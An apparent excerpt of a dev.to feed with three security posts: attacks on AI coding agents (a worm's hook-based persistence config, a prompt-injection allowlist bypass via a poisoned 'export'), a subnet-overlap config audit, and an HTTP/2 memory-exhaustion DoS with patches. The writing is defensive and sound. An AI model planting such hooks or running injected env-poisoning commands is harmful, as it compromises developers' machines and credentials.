      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"hooks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node .claude/setup.mjs"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Schemas shown as the abused mechanism, not a verbatim payload.) The &lt;code&gt;runOn: folderOpen&lt;/code&gt; task re-executes the moment you open the repo in VS Code; the &lt;code&gt;SessionStart&lt;/code&gt; hook re-executes the moment you start a Claude Code session. Both &lt;strong&gt;survive the obvious fix&lt;/strong&gt; -- pull the poisoned package, clear the cache, and the hooks are still on disk waiting for the next folder-open. SafeDep, Sonar, and StepSecurity each traced these two files; the analyses that followed the hook watched it pull down the &lt;strong&gt;Bun&lt;/strong&gt; runtime (not Node) to run its credential harvester out of view of tooling that only watches Node.&lt;/p&gt;

&lt;p&gt;The harvester goes after AWS keys, GitHub tokens, Vault tokens, and Kubernetes secrets. And it published its poisoned versions with &lt;strong&gt;cryptographically valid provenance attestations&lt;/strong&gt; -- the kind several writeups called SLSA Build Level 3.&lt;/p&gt;

&lt;p&gt;Worth being precise here, because "forged provenance" is the wrong description and the right one is worse: the worm abused &lt;code&gt;pull_request_target&lt;/code&gt; and pulled the legitimate OIDC token out of the runner's memory, then signed through Sigstore exactly like the real build. The attestations were genuine. OpenSSF noted afterward that the build platform never actually met SLSA Build L3's isolation requirements -- and one that did would have blocked the token theft. So the attestation didn't just certify a compromised pipeline; it advertised an assurance level the pipeline was never delivering.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Provenance proves which pipeline built a package. It can't prove the pipeline wasn't already owned.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The allowlist that approves its own bypass (CVE-2026-22708)
&lt;/h2&gt;

&lt;p&gt;This one is the cleanest demonstration of the root cause. Cursor (the AI editor) runs an auto-run mode gated by a command allowlist -- the control that makes "let it run unattended" safe. Fixed in 2.3.&lt;/p&gt;

&lt;p&gt;The bug: shell built-ins (&lt;code&gt;export&lt;/code&gt;, &lt;code&gt;typeset&lt;/code&gt;, &lt;code&gt;declare&lt;/code&gt;) are handled internally by the shell, not as external programs, and the allowlist check only tracked external programs. So they were never checked at all.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# The agent will only run commands on your allowlist.&lt;/span&gt;
&lt;span class="c"&gt;# But `export` is a built-in -- it was never on the allowlist's radar.&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;SOME_VAR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;attacker-controlled&amp;gt;   &lt;span class="c"&gt;# poisons the environment&lt;/span&gt;
git branch                              &lt;span class="c"&gt;# allowlisted... now behaves differently&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Get text in front of the agent via prompt injection, have it &lt;code&gt;export&lt;/code&gt; a poisoned variable, and an already-approved command (&lt;code&gt;git branch&lt;/code&gt;, &lt;code&gt;python3 script.py&lt;/code&gt;) does something you never approved. The allowlist didn't fail despite being a security control. It failed &lt;strong&gt;because it was a security control built for a human, handed to a machine.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The proxy that trusts the server (CVE-2025-6514)
&lt;/h2&gt;

&lt;p&gt;Not new -- disclosed by JFrog in July 2025 -- and that's the point: this is a standing condition, not a one-off. &lt;code&gt;mcp-remote&lt;/code&gt; is the proxy that lets local AI clients (Claude Desktop, Cursor) reach remote servers over the Model Context Protocol.&lt;/p&gt;

&lt;p&gt;The flaw is an OS command injection rated &lt;strong&gt;9.6&lt;/strong&gt;. A malicious or hijacked MCP server returns a crafted &lt;code&gt;authorization_endpoint&lt;/code&gt; during the OAuth handshake, and the proxy passes it to the OS in a way that executes it. Connect to the wrong server and it runs commands on your machine -- full parameter control on Windows (per JFrog), more constrained but not safe on macOS/Linux, where arbitrary executable execution still works with narrower control over arguments. ~437,000 downloads. First documented case of a remote MCP server achieving code execution on the client that connected to it.&lt;/p&gt;

&lt;p&gt;The trust direction is the whole story: the client trusted the server it reached out to, the same way your agent trusts the tool output it reads.&lt;/p&gt;

&lt;h2&gt;
  
  
  The common thread (and what it is NOT)
&lt;/h2&gt;

&lt;p&gt;Be careful with the synthesis: only the Cursor case is prompt injection in the strict sense. The worm is supply-chain malware; the mcp-remote flaw is command injection through a malicious server. The shared property isn't a single bug -- it's that &lt;strong&gt;a coding agent erases the line between data it reads and commands it runs, across every channel it has, while holding your full privileges.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Package contents became executable persistence.&lt;/li&gt;
&lt;li&gt;A poisoned env var became a command.&lt;/li&gt;
&lt;li&gt;A server's handshake response became a command.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OWASP's June 2026 agentic-security work makes the architectural case for why the injection flavor doesn't get patched away: an LLM takes its instructions and the outside world's data as one undifferentiated token stream, with no reliable internal boundary between "operator command" and "content to process." Filtering and least-privilege reduce the blast radius; they don't remove the flaw, because the flaw is the feature. Simon Willison's &lt;strong&gt;lethal trifecta&lt;/strong&gt; -- private data, untrusted content, and external communication -- describes a coding agent by default, not by misconfiguration.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to actually do
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Scope what the agent can reach to a blast radius you can tolerate: short-lived tokens, not long-lived keys sitting in env vars where the next worm looks first.&lt;/li&gt;
&lt;li&gt;Keep auto-run &lt;strong&gt;off&lt;/strong&gt; for anything boundary-crossing: writes outside the repo, secrets, anything touching production.&lt;/li&gt;
&lt;li&gt;Monitor &lt;code&gt;.claude/settings.json&lt;/code&gt;, &lt;code&gt;.vscode/tasks.json&lt;/code&gt;, and equivalents for change. They're persistence locations now.&lt;/li&gt;
&lt;li&gt;Treat a valid provenance attestation as "this pipeline built it," not "this is safe."&lt;/li&gt;
&lt;li&gt;Pin dependencies to verified hashes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of this is novel. It's the boring containment we already apply to high-privilege, always-running, internet-listening processes. The only new part is recognizing that the agent in your editor is exactly that kind of process.&lt;/p&gt;

&lt;p&gt;If you're running agents in auto-run today: what's your actual boundary between "let it cook" and "stop and ask me"? Curious how others are drawing that line.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://blog.vertexops.org/ai-coding-agent-attack-surface-shai-hulud-cursor-mcp" rel="noopener noreferrer"&gt;blog.vertexops.org&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>devops</category>
      <category>security</category>
    </item>
    <item>
      <title>Why Exact-Match Search Fails at Config Audits (and What Supernet Overlap Found)</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Fri, 12 Jun 2026 18:06:54 +0000</pubDate>
      <link>https://dev.to/kkierii/why-exact-match-search-fails-at-config-audits-and-what-supernet-overlap-found-hij</link>
      <guid>https://dev.to/kkierii/why-exact-match-search-fails-at-config-audits-and-what-supernet-overlap-found-hij</guid>
      <description>&lt;p&gt;Here is a problem that looks like string matching and is not: you have a carrier circuit inventory -- a spreadsheet full of IPs and identifiers -- and two live network configs, and you need to know whether anything in the sheet exists in your gear. The naive approach, grep the configs for each IP, will confidently report "nothing matches" and be wrong. The overlap you actually care about lives in subnet math, not in literal strings.&lt;/p&gt;

&lt;p&gt;I learned this the practical way last week, auditing eight carrier circuits that finance wanted accounted for and that nobody in the building could locate. I made an AI do the cross-referencing, and the gap between my first pass and my last pass is the whole reason I'm writing this up.&lt;/p&gt;

&lt;h2&gt;
  
  
  The inputs
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Firewall running config: ~15,000 lines, five virtual routers, a few hundred address objects accreted over years&lt;/li&gt;
&lt;li&gt;Switch stack config: five members, every port hand-labeled across a decade&lt;/li&gt;
&lt;li&gt;Carrier inventory: 16 rows by 59 columns -- service IDs, circuit IDs, NTE management IPs (v4 and v6), gateway IPs, VPLS instances, VLAN tags, CLLI codes, aggregation router details&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The job: does anything in column-after-column of carrier metadata exist anywhere in those two configs?&lt;/p&gt;

&lt;h2&gt;
  
  
  Pass one: exact match, and why it nearly fooled me
&lt;/h2&gt;

&lt;p&gt;The first pass extracted every IP from the sheet and ran verbatim comparisons against both configs. Zero hits. Then it stepped up to /24 comparison and caught four gateway addresses -- call them 192.168.4.x and 192.168.15.x -- sitting inside two routed subnets. It traced the path (static route to transit VR to next-hop out the DIA interface), flagged a carrier-label mismatch on that interface, and re-verified with proper containment math. Final answer: two routes, four IPs, nothing else.&lt;/p&gt;

&lt;p&gt;Clean, honest, and incomplete. Here is the trap, in code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;

&lt;span class="c1"&gt;# config_text = raw firewall config loaded as a string
&lt;/span&gt;&lt;span class="n"&gt;gw&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.4.7&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="c1"&gt;# a gateway IP from the sheet
&lt;/span&gt;&lt;span class="n"&gt;fw_object&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_network&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.0.0/16&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# a broad object in the firewall
&lt;/span&gt;
&lt;span class="n"&gt;gw&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;fw_object&lt;/span&gt;               &lt;span class="c1"&gt;# True  -&amp;gt; the object contains this gateway
&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.4.7&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;config_text&lt;/span&gt;  &lt;span class="c1"&gt;# False -&amp;gt; a string search never sees it
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your search is &lt;code&gt;grep&lt;/code&gt;, or even a /24-against-/24 comparison, the broad object is invisible. It contains your target and never matches it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pass two: supernet overlap
&lt;/h2&gt;

&lt;p&gt;Before writing the report I ran one more pass with a wider instruction: stop asking whether the sheet's values exist, and start asking every way the carrier's space could touch the firewall -- including objects broader than, adjacent to, or historically related to the literal values.&lt;/p&gt;

&lt;p&gt;Quick disclosure, because it changes how you should read the result. I moved two variables at once on that pass: I widened the question and I switched models (Claude Fable 5 had just landed, so I ran it there), and it was a third pass over already-mapped ground. I never re-ran the earlier model with the same broad prompt, so I can't credit the delta to the model. The technique is the transferable part here, not the model choice.&lt;/p&gt;

&lt;p&gt;The technique is supernet overlap: test containment in &lt;em&gt;both&lt;/em&gt; directions, not just whether the sheet's range fits inside a config object.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;sheet_net&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_network&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.4.0/24&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# narrow range from the spreadsheet
&lt;/span&gt;&lt;span class="n"&gt;fw_object&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_network&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.0.0/16&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# broad object in the config
&lt;/span&gt;
&lt;span class="n"&gt;fw_object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subnet_of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sheet_net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="c1"&gt;# False -&amp;gt; "is the config object inside my range?" (wrong question)
&lt;/span&gt;&lt;span class="n"&gt;fw_object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;supernet_of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sheet_net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# True  -&amp;gt; "does the config object CONTAIN my range?" (the right one)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A /16 holds 256 of those /24s. It will never string-match a /24 from a spreadsheet, and it will never surface if you only test whether the sheet's range contains the object. You have to test the other direction: whether the object contains the sheet's range. That one direction cracked the case.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the wide pass found
&lt;/h2&gt;

&lt;p&gt;It opened by catching something I had missed entirely: the sheet listed six IPv6 NTE addresses, and no prior pass had checked IPv6 at all. It swept both configs for that range, confirmed clean, and closed the gap instead of leaving it silently open.&lt;/p&gt;

&lt;p&gt;Then the supernet sweep ran across every config section -- address objects, groups, NAT rules, security rules, VPN, DHCP, DNS, logging targets, external lists -- and turned up four new traces:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Two address objects defining &lt;code&gt;192.168.0.0/16&lt;/code&gt;, labeled for a separate internal network, containing all six carrier gateways -- including two with no specific route at all.&lt;/li&gt;
&lt;li&gt;That /16 object sat in an address group referenced by three active security rules. Policy still permits the carrier's space today, even where routing does not deliver traffic to it.&lt;/li&gt;
&lt;li&gt;An address object named after the carrier's gateway subnet, prefixed &lt;code&gt;Remove_&lt;/code&gt;, its value rewritten to a bogus range. Someone neutered it instead of deleting it -- proof the subnet was once live.&lt;/li&gt;
&lt;li&gt;A group description: &lt;code&gt;From [previous firewall vendor]: (Interface was [other carrier]-DIA)&lt;/code&gt;. The objects were migrated wholesale from the old firewall, labels and all -- which explains the interface mismatch from pass one.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And one operational finding with teeth: two gateways, including the one for our 4 Gbps circuit, were permitted by policy but unrouted. Traffic to them follows the default route to the internet and dies. Either routing is broken or we are paying for dead circuits -- which is exactly the question we kicked back to the carrier.&lt;/p&gt;

&lt;p&gt;For completeness it also string-matched every non-IP identifier (hostnames, CLLI codes, port AIDs, model numbers, service IDs, billing accounts) and chased false positives. A hit on &lt;code&gt;ASE&lt;/code&gt; turned out to be a substring of crypto profile names, not a real reference.&lt;/p&gt;

&lt;h2&gt;
  
  
  Scoreboard
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Exact-match passes&lt;/th&gt;
&lt;th&gt;Broad-spectrum pass&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Traces identified&lt;/td&gt;
&lt;td&gt;2 (the static routes)&lt;/td&gt;
&lt;td&gt;6 (routes, supernet objects, active rules, deprecated object, migration note)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPv6 checked&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes, gap identified and closed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Supernet overlap analysis&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes, this is what found the policy exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Security rule usage traced&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes, three active rules identified&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cause of label mismatch&lt;/td&gt;
&lt;td&gt;Flagged as unknown&lt;/td&gt;
&lt;td&gt;Explained (firewall migration artifact)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unrouted-but-permitted gateways&lt;/td&gt;
&lt;td&gt;Not detected&lt;/td&gt;
&lt;td&gt;Two found, including the 4 Gbps circuit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;One environment, one case -- calibrate accordingly. But the broad pass found three times the traces, caught a verification gap the earlier work had left open, and turned "nothing else is here" into an actionable picture: what our gear can reach, what it merely tolerates in policy, and what exists only on the invoice.&lt;/p&gt;

&lt;h2&gt;
  
  
  The transferable rules
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Exact-match proves almost nothing.&lt;/strong&gt; A carrier inventory describes the carrier's side of the demarc; your config describes yours. The overlap is in subnet math, not strings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test supernet overlap, both directions.&lt;/strong&gt; The dangerous object is the broad one created fifteen years ago. A /16 never string-matches a /24, and &lt;code&gt;subnet_of&lt;/code&gt; alone won't catch it -- you need &lt;code&gt;supernet_of&lt;/code&gt; too.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trace objects into policy.&lt;/strong&gt; An object that exists is trivia. An object referenced by three active allow rules is an attack surface and an audit finding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deprecated objects are evidence.&lt;/strong&gt; The &lt;code&gt;Remove_&lt;/code&gt; object told us more about this circuit's history than any document we still have.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Re-run with a broader question before you trust "nothing."&lt;/strong&gt; I would have shipped a confident, incomplete report if I had stopped at pass one. The fix was not a smarter tool -- it was a wider question on a fresh pass, a few minutes against four findings and a carrier dispute now backed by evidence. A newer model doesn't hurt, but changing the question is the load-bearing move.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We closed by requesting per-circuit utilization data from the carrier, because a config only tells you what &lt;em&gt;should&lt;/em&gt; flow, never what &lt;em&gt;does&lt;/em&gt;. But we went into that conversation knowing exactly which circuits our equipment can reach, which it tolerates, and which appear to live only on an invoice. Much stronger than "we couldn't find anything," which is where the week started.&lt;/p&gt;

</description>
      <category>security</category>
      <category>networking</category>
      <category>ai</category>
      <category>devops</category>
    </item>
    <item>
      <title>HTTP/2 Bomb (CVE-2026-49975): the HPACK + flow-control DoS, and how to patch it</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Thu, 04 Jun 2026 23:12:52 +0000</pubDate>
      <link>https://dev.to/kkierii/http2-bomb-cve-2026-49975-the-hpack-flow-control-dos-and-how-to-patch-it-26ba</link>
      <guid>https://dev.to/kkierii/http2-bomb-cve-2026-49975-the-hpack-flow-control-dos-and-how-to-patch-it-26ba</guid>
      <description>&lt;p&gt;Two bugs that have each been public for a decade just got composed into one remote denial-of-service that knocks over five of the most widely deployed web servers in their default config. A single client on a home 100Mbps connection can pin roughly 32GB of RAM in about 20 seconds. No botnet, no credentials, one laptop.&lt;/p&gt;

&lt;p&gt;The chain itself is not the interesting part. The interesting part is that an AI found it by reading the codebases and noticing two known-bad behaviors compose, and that the public patch is now enough for a model to rebuild the exploit. More on that below. First, what you need to know so you don't get knocked over.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who's affected and what's patched
&lt;/h2&gt;

&lt;p&gt;The vulnerable behavior is in the default HTTP/2 config of all five. There is no single CVE for the whole class -- Apache and Envoy each got their own.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Server&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Fix / mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;nginx&lt;/td&gt;
&lt;td&gt;Patched&lt;/td&gt;
&lt;td&gt;1.29.8+ adds &lt;code&gt;max_headers&lt;/code&gt; (default 1000)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apache httpd&lt;/td&gt;
&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;mod_http2 2.0.41 (standalone module / trunk); not in a stable 2.4.x as of disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Envoy&lt;/td&gt;
&lt;td&gt;Patched&lt;/td&gt;
&lt;td&gt;CVE-2026-47774; fixed in 1.35.11, 1.36.7, 1.37.3, 1.38.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft IIS&lt;/td&gt;
&lt;td&gt;No public fix I could find&lt;/td&gt;
&lt;td&gt;Disable HTTP/2 or front with a header-count cap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare Pingora&lt;/td&gt;
&lt;td&gt;No public fix I could find&lt;/td&gt;
&lt;td&gt;Disable HTTP/2 or front with a header-count cap&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Apache's variant is CVE-2026-49975. Envoy's is CVE-2026-47774. The remaining implementations may assign their own.&lt;/p&gt;

&lt;h2&gt;
  
  
  The chain
&lt;/h2&gt;

&lt;p&gt;It's two primitives stacked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HPACK indexed-reference amplification.&lt;/strong&gt; HTTP/2 compresses headers with HPACK, which keeps a dynamic table of recently seen headers. You insert a header once, then reference it by a one-byte index on later requests, and the server materializes a full copy of that header in memory for each reference. One byte on the wire, one full header allocation on the server. Thousands of references in a single request turns a few KB of traffic into MB of RAM. Calif measured the multiplier at ~70:1 on nginx, ~4,000:1 on Apache and Envoy, and up to ~5,700:1 on Envoy. The trick that slips past the usual "max decoded header size" cap is the &lt;code&gt;Cookie&lt;/code&gt; header, which RFC 9113 lets you split into one field per crumb, and which several servers weren't counting against their field-count limit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The flow-control stall.&lt;/strong&gt; Amplification alone is harmless if the memory frees when the request completes. The second primitive pins it: the client advertises a zero-byte flow-control window for the server's response, so the server can never finish replying and never reclaims the request's memory. Drip a periodic WINDOW_UPDATE to keep the connection from timing out and the allocation stays locked for as long as the server tolerates.&lt;/p&gt;

&lt;p&gt;Compression bomb to inflate, slow-read hold to pin. That's the whole thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  None of this is new, which is the actual story
&lt;/h2&gt;

&lt;p&gt;Every piece has been public for years:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CVE-2016-6581&lt;/code&gt; -- the original HPACK Bomb (Cory Benfield, 2016)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CVE-2016-8740&lt;/code&gt; -- unbounded CONTINUATION frames, Apache (2016)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CVE-2016-1546&lt;/code&gt; -- flow-control / worker-thread starvation, Apache (2016)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;CVE-2025-53020&lt;/code&gt; -- ~4,000x HPACK amplification, Apache (Gal Bar Nahum, 2025)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RFC 7541 §7.3 opens by warning that an attacker can try to exhaust an endpoint's memory. Five independent implementations read that and shipped the same class of bug anyway, which, as Calif notes, means the defect is in the spec, not in five separate teams.&lt;/p&gt;

&lt;p&gt;What composed the two halves was OpenAI's Codex. It read across all five codebases, saw the techniques snap together, and built the combined attack. Researcher Quang Luong is presenting the method at a Stanford security conference this month. The combination is obvious once you see it, and that is exactly the point: nobody was looking at all five codebases at once with the patience to ask what happens when you run two known-bad behaviors at the same time. The composition lived in the seams between teams, and nobody owns the seams.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why your patch cycle just changed
&lt;/h2&gt;

&lt;p&gt;Here's the line from Calif's writeup that should bug you more than the DoS itself: the fix commits are out in the open, they map the attack directly, and any capable model can read the diff and reconstruct a working exploit. That's not hypothetical. It's how Calif confirmed IIS, Envoy, and Pingora were vulnerable in the first place. They fed the patch diffs to a model and let it generalize.&lt;/p&gt;

&lt;p&gt;Responsible disclosure has always leaned on a gap between "patch published" and "exploit weaponized," filled by human effort: roll out the fix before attackers finish reversing it. When the diff alone is enough for a model to reconstruct the attack, that gap collapses toward zero. The grace period and the attacker's effort tax were the same thing, and it's evaporating. Plan your patch windows as if the PoC ships with the advisory, because functionally it now does.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;p&gt;nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 1.29.8+ adds max_headers (default 1000). Upgrade.&lt;/span&gt;
&lt;span class="c1"&gt;# Can't upgrade yet? Disable HTTP/2:&lt;/span&gt;
&lt;span class="k"&gt;http2&lt;/span&gt; &lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Apache httpd:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fix is in mod_http2 2.0.41 (standalone / trunk),&lt;/span&gt;
&lt;span class="c"&gt;# not yet in a stable 2.4.x as of disclosure.&lt;/span&gt;
&lt;span class="c"&gt;# If you can't pull the module, disable HTTP/2:&lt;/span&gt;
&lt;span class="nc"&gt;Protocols&lt;/span&gt; http/1.1

&lt;span class="c"&gt;# Note: lowering LimitRequestFieldSize only partially helps&lt;/span&gt;
&lt;span class="c"&gt;# (it caps the merged cookie). LimitRequestFields does nothing&lt;/span&gt;
&lt;span class="c"&gt;# here, because the duplicate cookie crumbs weren't counted against it.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Envoy: upgrade to 1.35.11, 1.36.7, 1.37.3, or 1.38.1 (CVE-2026-47774). The fix makes uncompressed cookies count toward the header limits.&lt;/p&gt;

&lt;p&gt;Microsoft IIS / Cloudflare Pingora: no public fix I could find as of this writing. Disable HTTP/2, or front the server with something that enforces a hard per-request header-count cap.&lt;/p&gt;

&lt;p&gt;Everyone, regardless of vendor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Two limits, not one: cap decoded header SIZE and header COUNT&lt;/span&gt;
&lt;span class="c"&gt;# (including cookie crumbs), and bound the lifetime of a stalled stream.&lt;/span&gt;
